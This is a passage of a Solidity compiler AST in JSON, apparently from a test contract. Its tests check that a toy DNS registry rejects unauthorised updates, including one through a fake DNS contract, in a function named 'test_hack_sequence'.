3405695742\",\"value\":\"0xcafecafe\"},\"id\":1041,\"name\":\"Literal\",\"src\":\"4833:10:2\"}],\"id\":1042,\"name\":\"VariableDeclarationStatement\",\"src\":\"4819:24:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"update\",\"referencedDeclaration\":371,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1043,\"name\":\"Identifier\",\"src\":\"4847:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1044,\"name\":\"Literal\",\"src\":\"4853:1:2\"}],\"id\":1045,\"name\":\"IndexAccess\",\"src\":\"4847:8:2\"}],\"id\":1046,\"name\":\"MemberAccess\",\"src\":\"4847:15:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":1047,\"name\":\"Identifier\",\"src\":\"4863:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1040,\"type\":\"bytes4\",\"value\":\"i2_2\"},\"id\":1048,\"name\":\"Identifier\",\"src\":\"4867:4:2\"}],\"id\":1049,\"name\":\"FunctionCall\",\"src\":\"4847:25:2\"}],\"id\":1050,\"name\":\"ExpressionStatement\",\"src\":\"4847:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1051,\"name\":\"Identifier\",\"src\":\"4937:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1052,\"name\":\"Identifier\",\"src\":\"4941:5:2\"}],\"id\":1053,\"name\":\"TupleExpression\",\"src\":\"4936:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":418,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1054,\"name\":\"Identifier\",\"src\":\"4950:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1055,\"name\":\"Literal\",\"src\":\"4956:1:2\"}],\"id\":1056,\"name\":\"IndexAccess\",\"src\":\"4950:8:2\"}],\"id\":1057,\"name\":\"MemberAccess\",\"src\":\"4950:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":1058,\"name\":\"Identifier\",\"src\":\"4967:2:2\"}],\"id\":1059,\"name\":\"FunctionCall\",\"src\":\"4950:20:2\"}],\"id\":1060,\"name\":\"Assignment\",\"src\":\"4936:34:2\"}],\"id\":1061,\"name\":\"ExpressionStatement\",\"src\":\"4936:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1062,\"name\":\"Identifier\",\"src\":\"4974:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1063,\"name\":\"Identifier\",\"src\":\"4983:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1040,\"type\":\"bytes4\",\"value\":\"i2_2\"},\"id\":1064,\"name\":\"Identifier\",\"src\":\"4987:4:2\"}],\"id\":1065,\"name\":\"FunctionCall\",\"src\":\"4974:18:2\"}],\"id\":1066,\"name\":\"ExpressionStatement\",\"src\":\"4974:18:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1067,\"name\":\"Identifier\",\"src\":\"4996:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1068,\"name\":\"Identifier\",\"src\":\"5005:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1069,\"name\":\"ElementaryTypeName\",\"src\":\"5012:7:2\"}],\"id\":1070,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"5012:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1071,\"name\":\"Identifier\",\"src\":\"5020:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1072,\"name\":\"Literal\",\"src\":\"5026:1:2\"}],\"id\":1073,\"name\":\"IndexAccess\",\"src\":\"5020:8:2\"}],\"id\":1074,\"name\":\"FunctionCall\",\"src\":\"5012:17:2\"}],\"id\":1075,\"name\":\"FunctionCall\",\"src\":\"4996:34:2\"}],\"id\":1076,\"name\":\"ExpressionStatement\",\"src\":\"4996:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":true,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_rational_3405687466_by_1\",\"typeString\":\"int_const 3405687466\"},{\"typeIdentifier\":\"t_contract$_UpgradedDNS_$2303\",\"typeString\":\"contract UpgradedDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"updateViaCustomDNS\",\"referencedDeclaration\":388,\"type\":\"function (string memory,bytes4,contract IDNS) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1077,\"name\":\"Identifier\",\"src\":\"5140:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1078,\"name\":\"Literal\",\"src\":\"5146:1:2\"}],\"id\":1079,\"name\":\"IndexAccess\",\"src\":\"5140:8:2\"}],\"id\":1080,\"name\":\"MemberAccess\",\"src\":\"5140:27:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":782,\"type\":\"string memory\",\"value\":\"d2\"},\"id\":1081,\"name\":\"Identifier\",\"src\":\"5168:2:2\"},{\"attributes\":{\"hexvalue\":\"30786361666561616161\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3405687466\",\"value\":\"0xcafeaaaa\"},\"id\":1082,\"name\":\"Literal\",\"src\":\"5172:10:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":453,\"type\":\"contract UpgradedDNS\",\"value\":\"fake_up_dns\"},\"id\":1083,\"name\":\"Identifier\",\"src\":\"5184:11:2\"}],\"id\":1084,\"name\":\"FunctionCall\",\"src\":\"5140:56:2\"},{\"attributes\":{\"errorName\":\"\"},\"children\":[{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1085,\"name\":\"Identifier\",\"src\":\"5202:10:2\"},{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1086,\"name\":\"Literal\",\"src\":\"5213:5:2\"}],\"id\":1087,\"name\":\"FunctionCall\",\"src\":\"5202:17:2\"}],\"id\":1088,\"name\":\"ExpressionStatement\",\"src\":\"5202:17:2\"}],\"id\":1089,\"name\":\"Block\",\"src\":\"5197:27:2\"}],\"id\":1090,\"name\":\"TryCatchClause\",\"src\":\"5197:27:2\"},{\"attributes\":{\"errorName\":\"\"},\"children\":[{\"attributes\":{\"statements\":[null]},\"children\":[],\"id\":1091,\"name\":\"Block\",\"src\":\"5231:5:2\"}],\"id\":1092,\"name\":\"TryCatchClause\",\"src\":\"5225:11:2\"}],\"id\":1093,\"name\":\"TryStatement\",\"src\":\"5136:100:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1094,\"name\":\"Identifier\",\"src\":\"5292:5:2\"},{\"attributes\":{\"hexvalue\":\"33\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3\",\"value\":\"3\"},\"id\":1095,\"name\":\"Literal\",\"src\":\"5298:1:2\"}],\"id\":1096,\"name\":\"IndexAccess\",\"src\":\"5292:8:2\"}],\"id\":1097,\"name\":\"MemberAccess\",\"src\":\"5292:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":544,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1098,\"name\":\"Identifier\",\"src\":\"5310:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":548,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":1099,\"name\":\"Identifier\",\"src\":\"5314:2:2\"}],\"id\":1100,\"name\":\"FunctionCall\",\"src\":\"5292:25:2\"}],\"id\":1101,\"name\":\"ExpressionStatement\",\"src\":\"5292:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1102,\"name\":\"Identifier\",\"src\":\"5322:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1103,\"name\":\"Identifier\",\"src\":\"5326:5:2\"}],\"id\":1104,\"name\":\"TupleExpression\",\"src\":\"5321:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":2302,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":1105,\"name\":\"Identifier\",\"src\":\"5335:6:2\"}],\"id\":1106,\"name\":\"MemberAccess\",\"src\":\"5335:14:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":544,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1107,\"name\":\"Identifier\",\"src\":\"5350:2:2\"}],\"id\":1108,\"name\":\"FunctionCall\",\"src\":\"5335:18:2\"}],\"id\":1109,\"name\":\"Assignment\",\"src\":\"5321:32:2\"}],\"id\":1110,\"name\":\"ExpressionStatement\",\"src\":\"5321:32:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1111,\"name\":\"Identifier\",\"src\":\"5357:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1112,\"name\":\"Identifier\",\"src\":\"5366:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":548,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":1113,\"name\":\"Identifier\",\"src\":\"5370:2:2\"}],\"id\":1114,\"name\":\"FunctionCall\",\"src\":\"5357:16:2\"}],\"id\":1115,\"name\":\"ExpressionStatement\",\"src\":\"5357:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1116,\"name\":\"Identifier\",\"src\":\"5377:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1117,\"name\":\"Identifier\",\"src\":\"5386:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1118,\"name\":\"ElementaryTypeName\",\"src\":\"5393:7:2\"}],\"id\":1119,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"5393:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1120,\"name\":\"Identifier\",\"src\":\"5401:5:2\"},{\"attributes\":{\"hexvalue\":\"33\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3\",\"value\":\"3\"},\"id\":1121,\"name\":\"Literal\",\"src\":\"5407:1:2\"}],\"id\":1122,\"name\":\"IndexAccess\",\"src\":\"5401:8:2\"}],\"id\":1123,\"name\":\"FunctionCall\",\"src\":\"5393:17:2\"}],\"id\":1124,\"name\":\"FunctionCall\",\"src\":\"5377:34:2\"}],\"id\":1125,\"name\":\"ExpressionStatement\",\"src\":\"5377:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":true,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_rational_2864434397_by_1\",\"typeString\":\"int_const 2864434397\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"update\",\"referencedDeclaration\":371,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1126,\"name\":\"Identifier\",\"src\":\"5488:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1127,\"name\":\"Literal\",\"src\":\"5494:1:2\"}],\"id\":1128,\"name\":\"IndexAccess\",\"src\":\"5488:8:2\"}],\"id\":1129,\"name\":\"MemberAccess\",\"src\":\"5488:15:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":544,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1130,\"name\":\"Identifier\",\"src\":\"5504:2:2\"},{\"attributes\":{\"hexvalue\":\"30786161626263636464\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 2864434397\",\"value\":\"0xaabbccdd\"},\"id\":1131,\"name\":\"Literal\",\"src\":\"5508:10:2\"}],\"id\":1132,\"name\":\"FunctionCall\",\"src\":\"5488:31:2\"},{\"attributes\":{\"errorName\":\"\"},\"children\":[{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1133,\"name\":\"Identifier\",\"src\":\"5525:10:2\"},{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1134,\"name\":\"Literal\",\"src\":\"5536:5:2\"}],\"id\":1135,\"name\":\"FunctionCall\",\"src\":\"5525:17:2\"}],\"id\":1136,\"name\":\"ExpressionStatement\",\"src\":\"5525:17:2\"}],\"id\":1137,\"name\":\"Block\",\"src\":\"5520:27:2\"}],\"id\":1138,\"name\":\"TryCatchClause\",\"src\":\"5520:27:2\"},{\"attributes\":{\"errorName\":\"\"},\"children\":[{\"attributes\":{\"statements\":[null]},\"children\":[],\"id\":1139,\"name\":\"Block\",\"src\":\"5554:5:2\"}],\"id\":1140,\"name\":\"TryCatchClause\",\"src\":\"5548:11:2\"}],\"id\":1141,\"name\":\"TryStatement\",\"src\":\"5484:75:2\"}],\"id\":1142,\"name\":\"Block\",\"src\":\"1684:3894:2\"}],\"id\":1143,\"name\":\"FunctionDefinition\",\"src\":\"1647:3931:2\"},{\"attributes\":{\"functionSelector\":\"180428c0\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"test_hack_sequence\",\"scope\":1362,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1144,\"name\":\"ParameterList\",\"src\":\"5608:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1145,\"name\":\"ParameterList\",\"src\":\"5618:0:2\"},{\"children\":[{\"attributes\":{\"assignments\":[1147]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d0\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1146,\"name\":\"ElementaryTypeName\",\"src\":\"5622:6:2\"}],\"id\":1147,\"name\":\"VariableDeclaration\",\"src\":\"5622:16:2\"},{\"attributes\":{\"hexvalue\":\"612e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"a.eth\\\"\",\"value\":\"a.eth\"},\"id\":1148,\"name\":\"Literal\",\"src\":\"5641:7:2\"}],\"id\":1149,\"name\":\"VariableDeclarationStatement\",\"src\":\"5622:26:2\"},{\"attributes\":{\"assignments\":[1151]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i0\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1150,\"name\":\"ElementaryTypeName\",\"src\":\"5652:6:2\"}],\"id\":1151,\"name\":\"VariableDeclaration\",\"src\":\"5652:9:2\"},{\"attributes\":{\"hexvalue\":\"30783031303230333034\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 16909060\",\"value\":\"0x01020304\"},\"id\":1152,\"name\":\"Literal\",\"src\":\"5664:10:2\"}],\"id\":1153,\"name\":\"VariableDeclarationStatement\",\"src\":\"5652:22:2\"},{\"attributes\":{\"assignments\":[1155]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d1\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1154,\"name\":\"ElementaryTypeName\",\"src\":\"5678:6:2\"}],\"id\":1155,\"name\":\"VariableDeclaration\",\"src\":\"5678:16:2\"},{\"attributes\":{\"hexvalue\":\"622e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"b.eth\\\"\",\"value\":\"b.eth\"},\"id\":1156,\"name\":\"Literal\",\"src\":\"5697:7:2\"}],\"id\":1157,\"name\":\"VariableDeclarationStatement\",\"src\":\"5678:26:2\"},{\"attributes\":{\"assignments\":[1159]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i1\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1158,\"name\":\"ElementaryTypeName\",\"src\":\"5708:6:2\"}],\"id\":1159,\"name\":\"VariableDeclaration\",\"src\":\"5708:9:2\"},{\"attributes\":{\"hexvalue\":\"30783035303630373038\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 84281096\",\"value\":\"0x05060708\"},\"id\":1160,\"name\":\"Literal\",\"src\":\"5720:10:2\"}],\"id\":1161,\"name\":\"VariableDeclarationStatement\",\"src\":\"5708:22:2\"},{\"attributes\":{\"assignments\":[1163]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"ip\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1162,\"name\":\"ElementaryTypeName\",\"src\":\"5735:6:2\"}],\"id\":1163,\"name\":\"VariableDeclaration\",\"src\":\"5735:9:2\"}],\"id\":1164,\"name\":\"VariableDeclarationStatement\",\"src\":\"5735:9:2\"},{\"attributes\":{\"assignments\":[1166]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":1360,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1165,\"name\":\"ElementaryTypeName\",\"src\":\"5748:7:2\"}],\"id\":1166,\"name\":\"VariableDeclaration\",\"src\":\"5748:13:2\"}],\"id\":1167,\"name\":\"VariableDeclarationStatement\",\"src\":\"5748:13:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) 